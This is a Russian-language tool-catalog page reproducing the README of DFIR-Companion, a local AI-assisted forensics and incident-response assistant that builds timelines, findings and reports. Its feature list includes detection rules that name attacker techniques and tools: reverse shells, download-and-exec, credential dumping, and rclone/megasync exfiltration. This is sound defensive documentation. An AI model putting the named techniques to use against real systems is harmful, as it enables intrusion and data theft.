Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
DFIR-Companion — DFIR-сервер-компаньон для криминалистики + расширение для захвата | Kitploit
Инструменты/GitHubGitHub/hasamba/dfir-companion
Оборонительные ИнструментыУправление индикаторами компрометации (IOC)Криминалистика памятиАнализ уязвимостейСетевая криминалистикаФорензикаАнализ вредоносных программЦифровая криминалистикаРазведка угрозРеагирование на ИнцидентыБезопасность ИИ
18414 ч 18 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Анализ Журналов
GitHubhasamba/dfir-companion

DFIR-Companion

DFIR-сервер-компаньон для криминалистики + расширение для захвата

Репозиторий
Поделиться

DFIR Companion logo

DFIR Companion

License: AGPL v3

DFIR-триаж с поддержкой ИИ — на вашей машине. Превращает скриншоты расследования и импортированные артефакты в криминалистическую временную шкалу, находки, IOC, граф активы↔IOC и отчёты для обмена; задавайте вопросы по делу на простом английском и взаимодействуйте с другими следователями.

Локальный помощник для цифровой криминалистики и реагирования на инциденты. Расширение для браузера захватывает скриншоты вашего расследования (Velociraptor, панели EDR/SIEM, Security Onion, Splunk4DFIR, VolWeb, VirusTotal и т. д.) как доказательства; локальный сервер хранит их, выполняет оконный анализ ИИ-зрением в накапливаемое состояние расследования по каждому делу и предоставляет живую панель управления плюс экспортируемые отчёты.

Всё работает на вашей машине — помощник привязывается только к 127.0.0.1, доказательства остаются на диске, а поставщика ИИ выбираете вы.

Слой анализа после обнаружения. DFIR Companion — НЕ движок обнаружения — он принимает вердикты от Velociraptor, Security Onion, Chainsaw, Hayabusa, THOR, Cyber Triage, EDR/SIEM, коррелирует их в одну криминалистическую временную шкалу и синтезирует находки, путь атакующего, IOC и отчёты. Ценность в «и что с того», а не в повторном выводе оповещений.

Демо-дело: https://dfir-companion-production.up.railway.app/dashboard?caseId=demo

Практическая лаборатория: https://killercoda.com/dfir-companion/scenario/killercoda

Руководство пользователя: https://hasamba.github.io/DFIR-Companion/manual/

Содержание

  • Быстрый старт
  • Docker / Docker Compose
  • Windows (Chocolatey)
  • Linux (AppImage)
  • Скриншоты
  • Что он создаёт
  • Возможности
  • Использование ваших MCP-серверов
  • Структура репозитория
  • Как всё связано
  • Переменные окружения (companion/.env)
  • npm-скрипты — полный справочник CLI
  • Рекомендуемые рабочие процессы
  • План развития
  • Тесты
  • Отказ от ответственности
  • Лицензия

Скриншоты

Демо-дело: GlobalTech Industries — BEC и предвестник программы-вымогателя, май 2026.

Полностью предзаполненное дело, которое можно изучить без импорта реальных доказательств — находки, IOC, техники MITRE, теги/комментарии аналитика, данные о подверженности клиента и метаданные отчёта — всё предзаполнено, чтобы каждая панель дашборда что-то показывала.

Загрузите его одним кликом — нажмите кнопку Demo case на панели инструментов дашборда. Она работает и с портативным Windows EXE (Node или npm не требуются). Кнопка запрашивает подтверждение перед перезаписью, если дело уже существует.

Или заполните из CLI (dev / Docker):

root@kitploit:~
cd companion && npm run seed-demo              # creates case id "demo"
npm run seed-demo -- --force                  # overwrite an existing demo case
npm run seed-demo -- --case-id globaltech     # use a custom id

Затем откройте http://127.0.0.1:4773/dashboard и подключитесь к делу.


Резюме для руководства, нарратив и путь атаки

Сгенерированное ИИ резюме дела, поминутный нарратив и описание пути атакующего — от первоначального доступа до развёртывания программы-вымогателя.

DFIR Companion — executive summary, narrative timeline, and attack path

Криминалистическая временная шкала

Проанализированные события с фильтрами по серьёзности, тегами триажа, ссылками на детали по каждой строке и отслеживанием изменений при импорте (баннер новых событий с раскрываемым diff).

DFIR Companion — forensic timeline with severity filters and triage tags

Супер-временная шкала

Каждое когда-либо импортированное событие, до фильтрации по охвату/серьёзности — фильтруйте, помечайте тегами, отмечайте звёздочкой и продвигайте строки вверх в проанализированную криминалистическую временную шкалу; ничего не удаляется, это надмножество.

DFIR Companion — super-timeline showing every imported event before promotion

Дорожки временной шкалы

Визуальный график событий по активам (ось Y) и времени (ось X), окрашенный по серьёзности — перетащите ось времени, чтобы отфильтровать криминалистическую временную шкалу по диапазону.

DFIR Companion — timeline swimlane chart grouped by asset

Находки

Сгенерированные ИИ находки с оценками уверенности, тегами триажа аналитика и ссылками на техники MITRE ATT&CK; отслеживает, что изменилось с момента предыдущего запуска синтеза.

DFIR Companion — findings list with confidence scores and MITRE ATT&CK links

Kill Chain

События, сгруппированные по тактике MITRE ATT&CK — это категоризация, а не подтверждённая стадия kill-chain, выводится детерминированно без ИИ.

DFIR Companion — kill chain view bucketing events by MITRE ATT&CK tactic

Ключевые вопросы расследования

Стандартные вопросы DFIR, автоматически отвечаемые из синтезированного дела (отвечено / частично / неизвестно), каждый с указателем на доказательство или директивой «собрать это следующим».

DFIR Companion — key investigative questions with answers and evidence pointers

Плейбук

Практический чек-лист по устранению последствий, автоматически выведенный из находок и рекомендуемых следующих шагов; повторно синхронизируется при каждом запуске синтеза, сохраняя статус аналитика, исполнителя и сроки.

DFIR Companion — remediation playbook checklist derived from findings

Ранжирование хостов и учётных записей

Какие хосты/учётные записи несут атаку, оценённые по сигналу (события с весами по серьёзности + техники + связующие IOC), а не по объёму, с предлагаемым окном охвата.

DFIR Companion — host and account ranking scored by signal

Граф цепочки доказательств

Деревья процессов, боковое перемещение и происхождение файлов, сшитые в один причинный граф атаки. Выводится детерминированно из полей, заполняемых импортёрами — без ИИ, без затрат, работает офлайн.

DFIR Companion — evidence chain graph with process trees and lateral movement

Граф входов в систему

Кто куда вошёл — учётные записи и хосты, связанные из событий входа супер-временной шкалы, с различением успешных, неудачных и рискованных (RDP/runas/netonly) входов.

DFIR Companion — login graph linking accounts to hosts

Кандидаты в маяки

Периодические исходящие каналы, слишком регулярные, чтобы быть человеческим трафиком — это зацепка для охоты, а не вердикт, с интервалом, джиттером и числом событий для каждого кандидата.

DFIR Companion — beacon candidates table with interval and jitter

IOC с обогащением из threat-intel

Индикаторы (IP · домены · хеши · файлы · процессы · учётные записи), обогащённые по VirusTotal, AbuseIPDB, ThreatFox и другим провайдерам — значки вердиктов, оценки обнаружения, подсветка импорта NEW и метки триажа аналитика.

DFIR Companion — IOCs enriched with VirusTotal, AbuseIPDB, and ThreatFox

Скомпрометированные активы и граф IOC

Интерактивный граф, связывающий хосты и учётные записи жертв с индикаторами, которые касались каждого, плюс список известных скомпрометированных хостов и пользователей.

DFIR Companion — compromised assets and IOC graph

Что он создаёт

  • Криминалистическая временная шкала — реальные события с временными метками из артефактов, сортируемые/фильтруемые по дате/серьёзности/источнику
  • Находки — аналитические выводы по каждой технике с серьёзностью + сопоставлением MITRE ATT&CK
  • Закреплённые находки — закрепляйте ключевые находки (📌) в липкой полосе в верхней части панели «Находки»; перетаскивание для изменения порядка, переход в один клик, ограниченный список, сохраняется по делу (переносится в экспорте архива дела)
  • IOC, покрытие MITRE, нарратив пути атакующего — значки перекрёстного подтверждения из разных источников + kill chain
  • Встроенные быстрые действия с IOC — щёлкните любое обнаруженное значение (IP/хеш/домен/SID/URL/путь) в строке события или значение IOC для лотка в один клик: копировать, пометить как безопасное, пометить как подтверждённо-вредоносное, предложить охоту — каждый результат записывается в журнал расследования
  • Фазы атаки — временная шкала, сгруппированная во всплески активности по временному разрыву, помеченные доминирующей тактикой (детерминированно, без ИИ)
  • Кандидаты в Beacon/C2 — исходящие каналы с регулярными интервалами между поступлениями (зацепка для охоты, а не доказательство)
  • Аномалии временной шкалы — всплески частоты событий по активам, две базовые линии: peer (актив, гораздо более занятый, чем другие активы в том же интервале) и self (актив, всплескивающий выше своей собственной типичной частоты — ловит обычно тихий хост, который всплескивает, что широкой телеметрией не замаскировать); ранжируются Critical/High/Medium, связаны с событиями временной шкалы (детерминированно, без ИИ)
  • Анализ пробелов в логах — подозрительные периоды молчания во временной шкале, отмечаемые правилами плотности + рабочих часов
  • Гипотезы о пробелах и теневые артефакты — предложенные ИИ действия атакующего в периоды молчания + коллекции Velociraptor для восстановления недостающего времени
  • «Следующий шаг» для форензики памяти — при импорте Volatility 3/Rekall выявляет аномалии (процессы с неверным родителем, внедрённая память, закодированные команды) и предлагает следующий шаг анализа
  • Подсказки о противнике — группы MITRE ATT&CK, ранжированные по пересечению техник (офлайн-набор данных, с учётом подтехник; топливо для гипотез, а не атрибуция)
  • Эмуляция противника — вероятные следующие техники: именованные приёмы совпавших групп, которые дело ещё не наблюдало, ранжированные по отличительности как приоритеты охоты, каждая с одноклик «hunt this» → Velociraptor VQL
  • Меры защиты и оборонительные контрмеры — конкретные MITRE ATT&CK Mitigations (коды M) для техник дела, ранжированные по рычагу (какая одна мера покрывает больше всего техник), плюс шаги MITRE D3FEND по усилению/обнаружению/изоляции; офлайн, без ИИ. Связывает «что сделал атакующий» с «что реально с этим делать». Кнопка ✨ Generate remediation plan превращает это в конкретный, специфичный для инцидента план IR (один вызов ИИ)
  • Скомпрометированные активы — хосты/учётные записи жертв + интерактивный граф активы↔IOC
  • Ранжирование хостов и учётных записей — какие хосты/учётные записи несут атаку, оценённые по сигналу (события с весами по серьёзности + техники + связующие IOC), а не по объёму, с предлагаемым окном охвата в один клик; щёлкните ранжированную строку, чтобы развернуть события/IOC за её оценкой прямо на месте (не более 50 каждого) и перейти прямо к указанному событию во временной шкале
  • Ключевые вопросы расследования — с ответами и указателями на доказательства или следующие шаги для сбора
  • Нити расследования — открытые/закрытые зацепки
  • Пресеты представления дашборда — одноклик Analyst/Lead/Executive (роль) + Triage/Report/Deep-Dive/Hunt-Prep (фаза) — раскладки, которые перестраивают панели, фильтруют по серьёзности и подбирают шаблон отчёта; по делу, полностью редактируемые. Analyst — по умолчанию для любого дела без сохранённого выбора по делу; явный выбор Custom сохраняется между перезагрузками
  • Отчёты — экспорт в Markdown, HTML, PDF, Word (.docx), CSV, JSON

Возможности

Первоначальная настройка

  • Мастер настройки — оверлей первого запуска (также в Settings), который настраивает ИИ, Presidio, интеграции, обогащение, push-приём, NSRL и канал уведомлений, каждый с живым тестом. Всё необязательно

Захват и приём

  • Расширение для браузера MV3 с минимальными привилегиями — нулевой доступ к сайтам при установке, одобрение/отзыв консоли по точному origin, разовый захват активной вкладки, захват по таймеру + по событиям, локальный аудит разрешений, офлайн-очередь + автосинхронизация
  • Отправка артефактов в один клик — Splunk/Velociraptor/Kibana/Security Onion/SO-CRATES/CrowdStrike/VolWeb внедряют кнопку Push to DFIR-Companion; перехватывает JSON API или извлекает таблицу; всплывающее окно показывает автоопределённую консоль с выпадающим списком для принудительного выбора другого адаптера (или никакого) для каждой вкладки
  • Правый клик «Send to DFIR-Companion» — отправьте выделенный текст страницы, ближайшую таблицу или URL ссылки прямо в подключённое дело с любой страницы, а не только с распознанных консолей
  • Управление делами — + New case в дашборде (шаблоны автоматически загружают вопросы по инциденту + подсказки по импорту); захват в неизвестное дело отклоняется
  • Защита дела паролем — 🔒 Password… блокирует дело в дашборде, применяется на стороне сервера; приём захватов продолжает работать, пока дело заблокировано
  • Безвозвратное удаление дела — 🗑️ Delete… в меню жизненного цикла дела навсегда удаляет каталог дела, с предварительным созданием необязательного ZIP/зашифрованного архива; отказывается трогать каталог, который не является настоящим делом, и не удалит живую папку уже заархивированного дела из-под его архива
  • Импорт скриншотов — множественный выбор PNG/JPEG/WebP; единая кнопка Import автоматически определяет формат артефакта (CSV/JSON/log)
  • «С какого хоста пришёл этот файл?» — экспорт лога, не называющий сборщика, запрашивает его хост; старые имена сворачиваются как прежние имена
  • Папка для сброса доказательств — файлы, скопированные в папку drop/ дела, импортируются в фоне, перемещаются в _processed/ или _failed/ и записываются в drop-log.txt; подпапка asset=<HOST> задаёт имя хоста
  • Запуск внешних инструментов (Settings → Tools) — запускайте свои Hayabusa, Chainsaw, Velociraptor CLI, Suricata, Snort, YARA или пользовательские инструменты на сырых доказательствах и импортируйте их вывод; сырой .evtx сохраняется байт-в-байт, версия парсера и код выхода в цепочке хранения, fail-closed, по умолчанию выключено
  • MCP через Claude Code (Settings → Tools) — отправляйте доказательства дела на MCP-серверы, которые вы настроили в Claude Code (SIFT, REMnux, windows-triage); требуется Claude Code на хосте. Сервер с исполнителем команд означает выполнение команд там — сначала прочитайте Использование ваших MCP-серверов
  • Отмена/повтор импорта — откат/возврат к точному состоянию до импорта (без повторного синтеза); многоуровневый стек по каждому делу
  • Пользовательские (декларативные) импортёры — обучите новый формат файла с помощью JSON-определения (без кода); создаваемые LLM через встроенный промпт, автоопределяются + импортируются как встроенные, с приоритетом встроенных/пользовательских
  • Сначала доказательства — записываются на диск + в журнал аудита до анализа; дедупликация SHA-256 (отключается через DFIR_DEDUP=off)
  • Цепочка хранения — каждый скриншот и импорт получает автоматическую запись хранения с хеш-цепочкой и подписанным манифестом
  • Автоплейбуки по типу инцидента — выбор типа инцидента задаёт ключевые вопросы, следующие шаги и ожидаемые находки
  • Полнотекстовый поиск по OCR скриншотов — каждый захваченный скриншот распознаётся локально в фоне; ищите текст, видимый в консолях (имя хоста, «mimikatz», хеш, ошибку), из панели фильтров и переходите к скриншоту. Без ИИ, только локально (DFIR_OCR_SEARCH=off для отключения; npm run ocr-index для заполнения)
  • Только localhost — 127.0.0.1 с CORS + Private-Network-Access для расширения; отклоняет нераспознанные имена хостов, закрывая атаки DNS-rebinding (DFIR_ALLOWED_HOSTS)

Импортёры доказательств

Все импортёры детерминированные (без вызова ИИ), читают собственные временные метки артефакта и помечают события реальным именем инструмента для перекрёстной корреляции источников. Один и тот же файл можно повторно импортировать без дублирования временной шкалы.

  • Каноническая схема криминалистических событий — версионированные структурированные идентичности/происхождение лежат в основе импорта; соединения графа больше не зависят от формулировок описания| Формат | Ключевые источники | Критичность на основе | |---|---|---| | SIEM / EDR JSON | Elastic, Kibana, Splunk, QRadar, любой экспорт JSON/NDJSON | Таблица Windows/Sysmon по EID | | ECAR (телеметрия EDR) | EDR Common Activity Record NDJSON (object/action/properties, epoch-ms timestamp_ms) — события process/flow/logon/registry/module/file/thread | Доказательство уровня Info; повышение при LOLBin/закодированной командной строке (публичные IP → IOC) | | Windows Event Log XML | Event Viewer "Save As XML", wevtutil qe /f:xml, Get-WinEvent … ToXml() (Security, Sysmon, System, любой канал) | Таблица Windows/Sysmon по EID | | Chainsaw | EVTX hunt JSON/JSONL (chainsaw hunt --json); запускается напрямую по сырому .evtx через tool runner | Уровень сработавшего правила Sigma | | Hayabusa | json-timeline или csv-timeline | Уровень сработавшего правила Sigma | | Velociraptor | JSON-массив, JSONL или карта артефактов | Вердикт Sigma/YARA или по EID | | THOR (Nextron) | Вывод сканирования JSON-Lines | Уровень оповещения THOR | | Suricata / Zeek | eve.json, JSON-логи Zeek; телеметрия → только IOC | Приоритет оповещения / критичность notice | | Snort / Suricata IDS (fast) | Однострочный лог оповещений alert_fast | Priority правила (1→High / 2→Medium / 3→Low) | | YARA | Вывод CLI-сканирования yara -s -m (совпадения правил + строки/meta) | Info→Medium за совпадение; повышение по meta score/threat_level правила | | Лог доступа web/proxy | Формат combined логов Apache/Nginx/Squid (лог доступа веб-сервера или forward-proxy); захвачены URL запроса, HTTP Referer и User-Agent (секреты в URL/Referer + UA сканеров/ботов/инъекций сохраняются как события + IOC) | По умолчанию Info; access-denied (401/403/407) → Low; git smart-HTTP clone/push → T1213 | | Syslog межсетевого экрана Cisco ASA | Сообщения %ASA-#-######: Built/Teardown/Deny | По умолчанию Info (телеметрия); явный Deny → Low | | Syslog (простой) | RFC 5424 (<PRI>1 …) + RFC 3164 (Mmm dd …) логи хостов Linux/Unix | По умолчанию Info (телеметрия); сбой аутентификации или PRI crit/alert/emerg → Low | | Security Onion | События SOC Alerts/Hunt (ECS); передаются расширением или экспортом SOC API | event.severity_label (метка Suricata/SO) | | SO-CRATES | Оповещения Suricata + совпадения файлов YARA (/api/events) и детекции Sigma (/api/sigma-alerts); передаются расширением или сырым экспортом | Приоритет Suricata / уровень Sigma / совпадение YARA | | Cyber Triage | Таймлайн JSONL / JSON / CSV | Оценка элемента Cyber Triage | | M365 / Entra ID | UAL, логи входа и аудита Entra | Таблица тактик BEC / Entra riskLevel | | Okta | Экспорт System Log | Таблица тактик IdP (MFA отключена, выдан админ, выпущен API-токен, сессия имперсонирована) — не операционная оценка вендора | | Google Workspace | Аудит администратора + входов | Таблица тактик IdP (2SV отключена, выдана роль, дан OAuth-консент, добавлен мониторинг почты) | | Hindsight (браузер) | История, загрузки, интерпретации Chrome/Edge/Brave (JSON или CSV) | — (события Info: артефакты браузера — доказательства, а не вердикты) | | macOS | Unified log (log show --style json), события загрузки LSQuarantine, атрибуты com.apple.quarantine, launchd plists, элементы входа (классический plist, .sfl2, BTM) | Запись карантина ↔ атрибут файла ↔ посещение браузера ↔ запуск процесса, связанные по идентификатору; plist читается как конфигурация, никогда как запуск | | iLEAPP / ALEAPP | Артефакты извлечения iOS + Android из экспортов LEAPP TSV | — (события Info; универсальный парсер, привязанный к колонке timestamp) | | AWS CloudTrail | Records JSON, NDJSON, Athena | Таблица действий API (IAM/logging/S3/secrets) | | GCP / Azure | Cloud Audit Logs, Azure Activity Log | Таблица действий (IAM/logging/secrets) | | Аудит Kubernetes | Лог аудита API-сервера (audit.k8s.io JSON-lines / EventList) | Таблица (verb, resource) — pod exec/attach T1609, доступ к секретам T1552.007, изменение RBAC T1098, привилегированный pod T1610/T1611, анонимный доступ T1078 | | osquery | Лог результатов запланированных запросов (дифференциальные columns + snapshot) | Телеметрия Info; консервативное повышение тактик по колонке командной строки | | Plaso | CSV psort (dynamic + l2tcsv) | — (события Info) | | Отчёты песочниц | CAPEv2 report.json, сводка Falcon Sandbox | Вердикт по образцу + поведенческие сигнатуры | | Форензика памяти | Volatility 3 (-r json) + Rekall: pslist/pstree, netscan, malfind, cmdline, svcscan; конверт JSON-запуска (команда, статус выхода, stderr) импортируется рядом с экспортом | malfind внедрённый код → High (T1055); листинги → Info/Low; запуск с нулём строк или неудачный говорит, что он устанавливает | | Intact (урезанный VolWeb) | Таблицы плагинов memory_payload.json + yarascan_results.jsonl | То же сопоставление плагинов; совпадения YARA по памяти → Low, плотный кластер из многих правил → Info; лимиты строк раскрыты | | TheHive | Экспорт JSON кейса / оповещения, список observable (TheHive 5) | Критичность TheHive 1–4; MITRE из тегов с метками ATT&CK | | Email | .eml (RFC 2822), .msg по мере возможности | Сбой SPF/DKIM/DMARC → эвристики подмены отправителя (T1566 Phishing) | | История shell | .bash_history / .zsh_history (bash HISTTIMEFORMAT #epoch + расширенная история zsh) | По умолчанию Info; консервативное повышение по тактикам (reverse shell, download-and-exec, доступ к учётным данным, подмена логов/истории, боковое SSH-перемещение) | | Персистентность Linux | SSH authorized keys, cron, юниты systemd, профили shell, листинги SUID и PATH из одной коллекции | Payload с правами на запись всем, root, запускающий файлы с записью пользователя, setuid-интерпретаторы; ничто не оценивается за само существование | | Linux auditd | Сырые записи audit.log / ausearch, таблицы aureport | Таблица типов записей (входы, управление учётными записями, sudo, SELinux, подмена аудита) | | systemd journald | journalctl -o json / -o json-pretty | PRIORITY syslog + повышения тактик (sshd, sudo, useradd) | | sysdig / Falco | JSON оповещений Falco, JSON событий sysdig -j | Приоритет правила Falco; сырые syscalls → телеметрия Info | | Wazuh | alerts.json / NDJSON или экспорт API (GET /security/events) | rule.level (≥13 Critical, ≥10 High, ≥7 Medium) | | CSV | Экспорты Velociraptor / EDR | — | | Обобщённые логи | Межсетевой экран, syslog, VPN; повторяющиеся строки → подсчитанные паттерны | AI-триаж |

Детерминированная оценка тактик — командные строки Windows/Sysmon, ECAR и памяти оцениваются по правилам, собранным из более чем 110 реальных вторжений (The DFIR Report, Huntress): высокодостоверные тактики → High с соответствующей техникой ATT&CK (отключение Defender, подавление восстановления, дамп учётных данных, обратные туннели, Impacket, RMM/C2, облачный эксфильтрация …), двойного назначения → Medium; чистое обнаружение помечается тегом, но никогда не повышается.

  • Обнаружение успешного SSH brute-force (T1110.001) — помечает успешный вход после всплеска неудачных попыток с того же исходного IP → Medium
  • Оценка риска по типу входа Windows — декодирует типы входа 4624 и оценивает рискованные формы (внешний RDP, сетевой открытый текст, runas /netonly) → Medium
  • Обнаружение NTFS timestomp (T1070.006) — помечает несоответствия временных меток MFT $SI/$FN как вероятный timestomping → Medium
  • Обнаружение записки о выкупе / переименованных файлов (T1486) — помечает имена файлов записок о выкупе и известные расширения семейств, агрегированные по хосту, выше Info, чтобы лимит не мог их похоронить
  • Обнаружение бокового перемещения по RDP (T1021.001) — оценивает входы RDP с явными учётными данными на действительно удалённую цель как Medium; шум локального session-manager остаётся Info
  • Обнаружение drive-by загрузок и инструментов облачной эксфильтрации (T1189 / T1567.002) — запускаемые загрузки из интернет-зоны и выполнение rclone/restic/megasync/megacmd в Prefetch
  • Контекстная критичность YARA — оценивает совпадение по тому, где и с чем оно совпало (самосканирование → Info, строка в page-file → Low, именованное вредоносное ПО на реальном пути → High) вместо плоского High
  • Последовательности инъекции и hollowing — Sysmon 10 / 8 / 25 / 1, связанные только через совпадающий GUID процесса; формы access-then-thread и create-replace-thread → High + T1055
  • Метка загрузки, подтверждённая выполнением — метка Zone.Identifier читается против Prefetch, запусков процессов и записей присутствия того же файла и повышается только когда выполнение датировано позже неё; payload в скрытом потоке оценивается по содержимому, а не по имени
  • Эпизоды Defender — запуск процесса из пути, на который воздействовал Defender, датированный позже этого действия, аннотируется и повышается; запуск с тем же дайджестом после устранения — находка High
  • Зацепка скопированного бинарника — строка MFT, у которой время изменения предшествует времени создания, была скопирована сюда (переименованный cmd.exe, сброшенный инструмент)
  • Следы execute-assembly (T1620) — лог использования CLR с именем rundll32, mshta или подобного хоста оценивается как High
  • Команды обнаружения в блоках скриптов — nltest, Get-AD*, ntdsutil … ifm и подобные читаются из записей 4104/4103 с их техниками
  • Собственный коллектор кейса не является доказательством — загрузки, установки, порождённый PowerShell и файлы правил Velociraptor оцениваются как Info с происхождением от коллектора
  • Сводки жизненного цикла облака — одна строка на родословную учётных данных AWS, жизненный цикл инстанса EC2, OAuth-клиент Workspace, цепочку почтовых ящиков Exchange и путь привилегий приложения Entra, чьи записи образуют единое целое внутри загрузки; каждая говорит, что устанавливают её записи и что нет
  • Сетевые связи — TLS (Zeek ssl/x509, Suricata tls) становится одной строкой на связь и на сертификат; ответы DNS присоединяются к более поздним соединениям того же клиента внутри TTL; цепочки веб-запросов связываются только через идентификаторы, которые несут обе записи
  • Теги происхождения мобильных данных — каждая строка iLEAPP / ALEAPP говорит, было ли её содержимое записано на этом устройстве, синхронизировано или получено, из реестра, привязанного к upstream

AI-анализ

  • Управляемая настройка AI — первый шаг мастера настройки выбирает провайдера → модель (подсказки дешёвая/сильная) → ключ → необязательный base URL, затем запускает живой тест подключения до выхода
  • Двухфазный — дешёвое пооконное зрение (извлечение) + сильный текстовый синтез (находки/IOC/MITRE/путь атакующего)
  • Провайдеры — OpenAI, OpenRouter, Ollama, LiteLLM, Gemini, Anthropic, Claude Code CLI, Codex CLI; необязательный двухуровневый режим (дешёвое извлечение + сильный синтез) с бюджетированием контекста
  • Консоли EDR/SIEM как доказательства — детекции извлекаются; навигация аналитика фильтруется (реальные детекции никогда не отбрасываются)
  • Находки с учётом критичности — строки Critical/High становятся находками; детерминированное автосоздание для пропущенных событий высокой критичности
  • Оценка уверенности + обоснование — каждая находка несёт уверенность 0–100% (взвешивая силу доказательств, подтверждение инструментами и определённость модели) плюс однострочную причину; постоянный фильтр минимальной уверенности по кейсу (сохраняется при перезагрузке) скрывает находки с низкой уверенностью по требованию
  • Значки KEV / подтверждено инструментом / неподтверждённая зацепка — помечает, подтверждена ли находка активно эксплуатируемой CVE, оценённой инструментом детекцией или только сырой телеметрией
  • Эффективный синтез — живой синтез с debounce; пропуск при отсутствии изменений; стратифицированный отбор событий + дайджест asset↔IOC
  • Группировка детекций при синтезе — повторяющиеся срабатывания одной детекции сворачиваются в одну запись промпта с числом срабатываний/распространением по хостам/временным диапазоном, так что импорт с обилием детекций не ограничивается несколькими сотнями строк
  • Повышенный лимит событий синтеза (300 → 600) — плюс события уровня Info больше не конкурируют за бюджет промпта, так что оценённые детекции типичного кейса все достигают модели за один проход
  • Deep Pass — запускаемый аналитиком пакетный прогон, который читает КАЖДОЕ оценённое событие на выбранном пороге критичности для полного покрытия AI больших многохостовых кейсов, с бесплатным предпросмотром стоимости/покрытия по каждому порогу и выделенной панелью дашборда до того, как вы что-либо потратите
  • Аудит покрытия синтеза — карточка synth-meta показывает, сколько событий в окне прогон рассмотрел против пропущенных, и почему
  • Второе мнение LLM — конкурирующая модель (B) повторно синтезирует кейс; настраиваемый арбитр судит каждое расхождение по цитируемым событиям; принять по пункту или следовать за арбитром в один клик
  • Обзор пропущенных доказательств — запускаемая аналитиком быстрая модель (Jev) оценивает строки Info, оставленные теггером содержимого; отметьте строки и повысьте их с оценкой модели (выключено до DFIR_JEV_ENABLED)
  • Отрицательные ответы называют свои доказательства — инвентарь коллекции по хосту достигает синтеза, так что "не наблюдалось" говорит, что было собрано и что собирать дальше
  • Другие команды в этой сессии — каждая находка перечисляет командные строки сессии атаки, которые не называет ни одна находка
  • Правила теггера содержимого с помощью AI — опишите правило на простом английском; AI составляет черновик, предпросматривает и добавляет его
  • Анонимизация ввода AI — обратимо токенизирует IP, пользователей, хосты, домены, email, пути, номера карт/телефонов/национальных ID, закодированные команды и SID; односторонне редактирует секреты. Необязательный Presidio ловит имена, с воротами одобрения

Корреляция и дедупликация

  • Кросс-источниковая корреляция — один и тот же артефакт, увиденный разными инструментами, сворачивается в одно подтверждённое событие (общий хеш / тот же путь во временном окне / точный дубликат), помеченное реальными именами инструментов. Идемпотентно — повторный импорт никогда не удваивает таймлайн.
  • Кросс-инструментовая корреляция командных строк — объединяет события создания одного процесса, о которых сообщили разные инструменты и которые имеют общую командную строку, родительский процесс и хост
  • Фильтр подтверждения (линза) — управление по секциям (Timeline / IOCs / Findings), показывающее только элементы, увиденные 2+ или 3+ инструментами; линза, а не ворота
  • Оценки шума/доверия по источникам — взвешивает источники по надёжности для формулировок корреляции и ограничения уверенности; переопределяется по кейсу### Рабочий процесс расследования
  • Реестр охвата хостов и допусков — статус по каждому хосту на основе доказательств, допуск аналитика на основе контрольного списка критериев с указанием отсутствующего класса доказательств, решения с атрибуцией только на добавление, устаревание по принципу «пометить, а не откатывать», и ранжированный список хостов, упомянутых в доказательствах, но так и не собранных
  • Реестр воспроизводимых запусков анализа — импорт, тегирование, обогащение, синтез и отчёты оставляют неизменяемые манифесты с хеш-цепочкой, закрепляющие их доказательства; запуски можно просматривать, воспроизводить и сравнивать
  • Контролируемая проверка отчётов и неизменяемый выпуск — черновик → коллегиальная проверка → утверждение, шлюзы выпуска доказательств и целостности, подпись с привязкой к личности, явное замещение, сравнение версий и замороженные пакеты для руководства/технических специалистов/юристов/IOC
  • Опциональный аутентифицированный командный режим — OIDC или аудируемая локальная учётная запись, роли по кейсам, сервисные идентификаторы и атрибуция аналитиков; однопользовательский режим на loopback остаётся режимом по умолчанию (руководство по настройке)
  • Ответы ИИ со ссылками — находки, «Спросить кейс», «Объяснить событие» и предложенные ИИ охоты (плейбук + парк) показывают нумерованные кликабельные ссылки на подтверждающие форензик-события/находки как в дашборде, так и в экспортированном отчёте
  • Объяснить это событие — кнопка ИИ 💡 в каждой строке объясняет любое форензик-событие в контексте: что произошло, почему это важно, нормальное против подозрительного, сопоставление с ATT&CK, 1–3 исполняемых пивот-запроса (VQL/KQL/SPL), доказательства за/против; эфемерный оверлей
  • Спросить кейс (GraphRAG) — свободные вопросы и ответы на основе таймлайна + детерминированного графа цепочек доказательств; многошаговые вопросы получают ответ через реальные связи
  • Режим, управляемый гипотезами — гипотезы с отслеживанием статуса, ссылками на доказательства и ранжированием в стиле ACH; открытые направляют синтез и сохраняются после синтеза и архивации
  • Проверка фальсификации гипотез по запросу — кнопка «Проверить» запускает сфокусированный проход за/против по открытым гипотезам без повторного полного синтеза
  • Различающие доказательства — каждое наблюдение указывает, отделяет ли оно гипотезу от альтернатив или подходит им всем; замороженное суждение, чья основа меняется, помечается для проверки
  • Результат атаки по двум осям — каждая находка отдельно фиксирует исполнение (наблюдалось / нет) и контроль (заблокировано / устранено / провалено / допущено / нет), задаётся аналитиком и защищено от синтеза; заблокированная атака не отбрасывается и не остаётся открытой на уровне High
  • Задачи по находкам — каждая находка уровня Critical/High превращается в императивную задачу плейбука с именем доказательства, нумерованными шагами и строкой «Готово, когда»
  • Брифинг для передачи смены — панель смены: находки по владельцам, открытые вопросы и гипотезы, следующие шаги, непроверенные IOC, последний импорт, заметка уходящего аналитика; копирование как Markdown, опциональный раздел отчёта
  • Анализы объявленного охвата — охват фишинговой кампании, Served exposure, цепочка Kerberoast и Sensitive access: объявите, что важно, и читайте, что устанавливают строки, шаг за шагом
  • Проверки повторного появления после устранения — объявите границу устранения; Verify возвращает факты с указанием охвата, никогда не отрицательный вердикт; статус остаточного риска принадлежит аналитику и фиксируется против неизменяемой квитанции
  • Зацепки по пробелам атрибуции — рядом с каждым утверждением об атрибуции — техники, которые задокументированы для этой группы ATT&CK, но не проявились в этом кейсе, как зацепки для охоты
